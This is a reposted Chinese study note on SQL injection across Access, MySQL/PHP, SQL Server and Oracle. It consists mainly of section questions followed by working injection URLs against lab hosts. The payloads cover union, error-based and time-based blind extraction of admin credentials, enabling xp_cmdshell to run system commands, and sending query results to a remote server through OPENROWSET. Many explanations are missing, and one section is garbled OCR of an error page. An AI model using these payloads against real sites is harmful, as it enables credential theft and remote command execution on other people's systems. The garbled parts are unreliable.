数据库
首页 > 数据库> > 2021-3-10 SQL注入

2021-3-10 SQL注入

作者:互联网

一、access注入

1、什么是access数据库?

2、access数据库是怎样的一个结构!

3、判断是否存在注入

4、如何猜表!

5、如何猜列!

       [http://127.0.0.1:99/shownews.asp?id=110](http://127.0.0.1:99/shownews.asp?id=110) and exists (select username from admin)
       [http://127.0.0.1:99/shownews.asp?id=110](http://127.0.0.1:99/shownews.asp?id=110) and exists (select password from admin)

6、如何猜数据长度!

7、首先按照常用接收方式的不同可以分为哪三种?

a)、GET 请求的参数是放在 URL 里的,GET 请求的 URL 传参有长度限制 中文需要 URL 编 码
b)、URL 最长的长度 https://www.cnblogs.com/cuihongyu3503319/p/5892257.html

c)、POST 请求参数是放在请求 body 里的,长度没有限制

d)、cookie 参数放在请求头信息,提交的时候 服务器会从请求头获取参数。

8、注入数据类型的区分是什么?

9、注入方法的区分有什么?

二、mysql+php 注入

1、mysql的注释符号有哪些?

2、注入怎样查询系统信息函数?

3、联合查询 union select!

4、怎么查询数据库名?

7、怎么查询表名?

8、怎么查询字段?

三、mysql+php报错注入

1、怎样判断注入?

![image.png](https://www.icode9.com/i/ll/?i=img_convert/f402447fae987b31f7ddf5b8754affcc.png#align=left&display=inline&height=297&margin=[object Object]&name=image.png&originHeight=297&originWidth=774&size=31716&status=done&style=none&width=774)

2、实战报错注入

http://169.254.82.111:81/mysqlinj.php?id=1 and (extractvalue(1,concat(0x7e,(select password
from mysql.user),0x7e)))
![image.png](https://www.icode9.com/i/ll/?i=img_convert/866a392f9a1e0fbabbcc02ce239cedcf.png#align=left&display=inline&height=166&margin=[object Object]&name=image.png&originHeight=166&originWidth=1160&size=21680&status=done&style=none&width=1160)

http://169.254.82.111:81/mysqlinj.php?id=-1 and(select 1 from(select count(*),concat((select
(select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM
information_schema.schemata LIMIT 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)![image.png](https://www.icode9.com/i/ll/?i=img_convert/915fec50c1d150ba25b9bb68f885d23d.png#align=left&display=inline&height=226&margin=[object Object]&name=image.png&originHeight=226&originWidth=765&size=19034&status=done&style=none&width=765)

库的名。

http://169.254.82.111:81/mysqlinj.php?id=-1 and updatexml(1,concat(0x7e,(SELECT distinct
concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

再进行字符长度的截取。

http://169.254.82.111:81/mysqlinj.php?id=-1 and updatexml(1,concat(0x7e,(SELECT distinct
LENGTH(concat(0x23,username,0x3a,password,0x23)) FROM admin limit 0,1),0x7e),1)

http://target_sys.com/mysqlinj.php?id=-1 and updatexml(1,concat(0x7e,(SELECT distinct
SUBSTRING(concat(0x23,username,0x3a,password,0x23),1,32) FROM admin limit
0,1),0x7e),1)
admin:e10adc3949ba59abbe56e057![image.png](https://www.icode9.com/i/ll/?i=img_convert/4187c05f34ef51529da53b28d995125f.png#align=left&display=inline&height=178&margin=[object Object]&name=image.png&originHeight=178&originWidth=592&size=16526&status=done&style=none&width=592)

http://target_sys.com/mysqlinj.php?id=-1 and updatexml(1,concat(0x7e,(SELECT distinct
SUBSTRING(concat(0x23,username,0x3a,password,0x23),33,40) FROM admin limit
0,1),0x7e),1)
admin:e10adc3949ba59abbe56e057f20f883e     最后将字符盘拼接起来就是完整的数据![image.png](https://www.icode9.com/i/ll/?i=img_convert/52f6c3693121e83a3068684deaf890e0.png#align=left&display=inline&height=206&margin=[object Object]&name=image.png&originHeight=206&originWidth=616&size=15482&status=done&style=none&width=616)

四、mysql+php延时注入

1、什么是延时注入?

2、怎么获取库名?

3、怎么获取表?

where TABLE_SCHEMA=database()))=30,sleep(5),0)![image.png](https://www.icode9.com/i/ll/?i=img_convert/84114490fb41c4c6da508fb0f76a4d96.png#align=left&display=inline&height=900&margin=[object Object]&name=image.png&originHeight=900&originWidth=1600&size=98525&status=done&style=none&width=1600)

information_schema.TABLES where TABLE_SCHEMA=database()),1,1))=97,sleep(5),0)![image.png](https://www.icode9.com/i/ll/?i=img_convert/81f882ec017b1c255018ab009d30a417.png#align=left&display=inline&height=900&margin=[object Object]&name=image.png&originHeight=900&originWidth=1600&size=99079&status=done&style=none&width=1600)

4、怎么查询字段?

select if(ascii(SUBSTRING((select group_concat(COLUMN_NAME) from
information_schema.COLUMNS where TABLE_NAME=0x61646d696e),1,1))=105,sleep(5),0)![image.png](https://www.icode9.com/i/ll/?i=img_convert/28ffbb30819e4b90fc655d59d187fe48.png#align=left&display=inline&height=900&margin=[object Object]&name=image.png&originHeight=900&originWidth=1600&size=96171&status=done&style=none&width=1600)

五、sqlserver联合注入

1、什么是sqlserver?

2、注释符号有哪些?

3、判断是否注入!

4、判断列数

5、联合查询

![image.png](https://www.icode9.com/i/ll/?i=img_convert/cd81ca603b3d17fb818c4772103bacb4.png#align=left&display=inline&height=240&margin=[object Object]&name=image.png&originHeight=240&originWidth=749&size=21759&status=done&style=none&width=749)

6、怎么查询系统信息

7、怎么查询数据

![image.png](https://www.icode9.com/i/ll/?i=img_convert/ef14744cb877006d70537de3e41e5cac.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=35242&status=done&style=none&width=890)

六、sqlserver报错注入

1、什么是sqlserver报错注入

2、怎样显示系统信息?

3、怎么爆出数据库

169.254.82.111:81/articlephp?X
在将nvarchar值’mydb’转换成x
6之C合

不安全http://169.254.82.111:84/idexaspxid-1%%
网站开发
应用
英文翻译学习
百度
FG
编程学习
tools
""应用程序中的服务器错误.
在将nvarchar
har值mydb’转换成数据类型int时失败.
说明;,行当前W请明间,出现处理的异,请俭管性线信息,以了解有失诚霜以及代酒中导误批的细息.
异常详细信息:SyemDaasqclnon在将narch败
源错误:
只有在调试最式下选行铜时,生成此处理的源代码才会显示出若要用比功请执行以下少骗之一,后求咖
1.在产生错误的文件的顶部添加一条"Debug-true"指令.例如:
KameaROM

4、如何爆出数据

http://169.254.82.111:84/index.aspx?id=1 and (select top 1 password from admin)>0
http://169.254.82.111:84/index.aspx?id=1 and (select top 1 username from admin)>0
![image.png](https://www.icode9.com/i/ll/?i=img_convert/46e64db6079e87ef9f40154d1e61d816.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=62531&status=done&style=none&width=890)
![image.png](https://www.icode9.com/i/ll/?i=img_convert/0d0b5b763155067abd81b8989605dd06.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=58009&status=done&style=none&width=890)

七、sqlserver快速爆表、爆列、爆数据

1、如何查询当前用户?

http://169.254.82.111:84/index.aspx?id=1 and user_name()>1
![image.png](https://www.icode9.com/i/ll/?i=img_convert/a50ebf0b75303d4db8886530a463b37c.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=55074&status=done&style=none&width=890)

2、在根据当前用户爆出所有表

http://169.254.82.111:84/index.aspx?id=1 and(select TABLE_NAME from
information_schema.TABLES where TABLE_SCHEMA=‘dbo’ FOR XML PATH)>1
![image.png](https://www.icode9.com/i/ll/?i=img_convert/327e8f823fd9d1c97247824fa52e8a8d.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=71934&status=done&style=none&width=890)

3、怎么爆出所有的列?

http://169.254.82.111:84/index.aspx?id=1 and(select COLUMN_NAME from
information_schema.COLUMNS where TABLE_NAME=‘admin’ FOR XML PATH)>1
![image.png](https://www.icode9.com/i/ll/?i=img_convert/e95cb1e7eea045d7e93963a81e5f7d53.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=80495&status=done&style=none&width=890)

4、怎么爆出数据?

http://169.254.82.111:84/index.aspx?id=1 and ( select username,password from
admin FOR XML PATH)>1
![image.png](https://www.icode9.com/i/ll/?i=img_convert/1cea7fe618cca7910faeab23fece457f.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=63873&status=done&style=none&width=890)

八、sqlserver执行系统命令

1、怎样实现两条SQL语句是用分号隔开

2、如果用户拥有管理员sa权限则可以用哪个命令重新开启它?

‘xp_cmdshell’, 1;RECONFIGURE;
![image.png](https://www.icode9.com/i/ll/?i=img_convert/7b764e41d18410e531504b5f6cb2eccf.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=37690&status=done&style=none&width=890)

EXEC sp_configure ‘show advanced options’,1//允许修改高级参数
RECONFIGUREEXEC sp_configure ‘xp_cmdshell’,1 //打开 xp_cmdshell 扩展
RECONFIGURE

3、执行系统命令

options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;
![image.png](https://www.icode9.com/i/ll/?i=img_convert/a01e350cc8b81fa4d3d7abcbff166fac.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=37429&status=done&style=none&width=890)

http://www.demo1.com/index.aspx?id=1;EXEC master.dbo.xp_cmdshell
‘ipconfig >>C:\inetpub\wwwroot\www.demo1.com\ip.txt’
![image.png](https://www.icode9.com/i/ll/?i=img_convert/bed71154502851e7aea10d967df6a0b6.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=37361&status=done&style=none&width=890)

九、sqlserver openrowset 转发利用

1、简介和原理

2、开始扩展

http://169.254.82.111:84/index.aspx?id=1;exec sp_configure ‘show advanced options’,1
reconfigure;exec sp_configure ‘Ad Hoc Distributed Queries’,1 reconfigure
![image.png](https://www.icode9.com/i/ll/?i=img_convert/a6ca3b1763f19a790838f882c0b6971f.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=37788&status=done&style=none&width=890)

3、怎样实现两边创建临时表

![image.png](https://www.icode9.com/i/ll/?i=img_convert/2c5a722b052cd82d4a159ce0319d6536.png#align=left&display=inline&height=447&margin=[object Object]&name=image.png&originHeight=447&originWidth=654&size=31281&status=done&style=none&width=654)

![image.png](https://www.icode9.com/i/ll/?i=img_convert/5223e755eb252713b2801b580a27d174.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=55280&status=done&style=none&width=890)

4、怎样查询路径?

http://169.254.82.111:84/index.aspx?id=1;insert %23%23nonamed execute
master…xp_dirtree ‘c:/’,1
这里就是把数据转发到远程 169.254.82.111 sqlserver 上
http://169.254.82.111:84/index.aspx?id=1;insert into OPENROWSET(‘SQLOLEDB’,
‘server=169.254.82.111;uid=sa;pwd=123456’, ‘select * from %23%23nonamed’ ) select *
from %23%23nonamed
![image.png](https://www.icode9.com/i/ll/?i=img_convert/705b9b008a8c6827b442c15ba27b7205.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=39716&status=done&style=none&width=890)
在远程 sqlserver 执行这个命令 就可以获取 数据
select * from %23%23nonamed 如下图:![image.png](https://www.icode9.com/i/ll/?i=img_convert/c1a25b0cc034844214bbf4cc179a7264.png#align=left&display=inline&height=545&margin=[object Object]&name=image.png&originHeight=545&originWidth=750&size=32439&status=done&style=none&width=750)

十、sqlserver 延时注入

1、简介

间,然后继续执行后续的语句。它包含一个参数 DELAY,用来指定等待的时间。

2、怎样判断注入呢?

![image.png](https://www.icode9.com/i/ll/?i=img_convert/ef8dc91b2196dc0267887ad2c48ce0ad.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=34034&status=done&style=none&width=890)

3、怎样查询信息?

4、截取字符判断法

delay ‘0:0:5’
![image.png](https://www.icode9.com/i/ll/?i=img_convert/ff1293692fb284c01a1d485e671ebb70.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=34363&status=done&style=none&width=890)

‘0:0:5’
![image.png](https://www.icode9.com/i/ll/?i=img_convert/0870e1afec96d26fe846ab00bfd31c96.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=38065&status=done&style=none&width=890)

5、ASCII码半截取法

http://www.demo1.com/index.aspx?id=1 IF ASCII(SUBSTRING(DB_NAME(),1,1))=109
WAITFOR DELAY ‘0:0:5’ –
![image.png](https://www.icode9.com/i/ll/?i=img_convert/844eeec12f05ae8bea3012392da2bd85.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=36445&status=done&style=none&width=890)

‘0:0:5’
![image.png](https://www.icode9.com/i/ll/?i=img_convert/0bc2bf15cf7b27ef6ab2a7846301f70a.png#align=left&display=inline&height=453&margin=[object Object]&name=image.png&originHeight=453&originWidth=691&size=37941&status=done&style=none&width=691)
select * from art where id=1 IF ASCII(SUBSTRING(DB_NAME(),1,1))>30 WAITFOR DELAY
‘0:0:5’
![image.png](https://www.icode9.com/i/ll/?i=img_convert/f82dbe486b0550fe500a9064c7f10d14.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=35489&status=done&style=none&width=890)

1-126 遍历去对比要好一些 假如数据大的话就可以节省很多的时间。
0-126 共 127 个
大于 50 51-127 74 127-74

十一、oracle + jsp 联合查询注入

1、注释符号

2、判断是否注入

3、列数

![image.png](https://www.icode9.com/i/ll/?i=img_convert/8c18a63b4f870ca68ae93cef94ffaec5.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=31308&status=done&style=none&width=890)

4、联合查询了解

![image.png](https://www.icode9.com/i/ll/?i=img_convert/a9442507c6ef666f3ebae9e4a7d9a0cb.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=43925&status=done&style=none&width=890)

5、怎样获取oracle信息

![image.png](https://www.icode9.com/i/ll/?i=img_convert/0513face6a8f32db8435f4bd073cd1c8.png#align=left&display=inline&height=135&margin=[object Object]&name=image.png&originHeight=135&originWidth=915&size=37482&status=done&style=none&width=915)

6、怎样查询数据?

![image.png](https://www.icode9.com/i/ll/?i=img_convert/5c982394275c47d471a67e68eb9e7c74.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=40175&status=done&style=none&width=890)

十二、高级注入技巧 位移注入

1、简介

2、原理是什么?

a) select admin.* from admin
b) select admin.id,admin.username,admin.password from admin
c) select id,username,password from admin

a) select * from article where id=1 union select 1,2,3 from admin
b) admin 的表的字段数同样也是 3 个 把 admin.* 替换 1,2,3
c) select * from article where id=1 union select admin.* from admin

3、网站测试

![image.png](https://www.icode9.com/i/ll/?i=img_convert/ef6f7ac5ee1fd53341ef0c4579f53520.png#align=left&display=inline&height=396&margin=[object Object]&name=image.png&originHeight=396&originWidth=890&size=30409&status=done&style=none&width=890)

标签:890,10,img,image,select,2021,SQL,png,396
来源: https://blog.csdn.net/weixin_49287420/article/details/114632183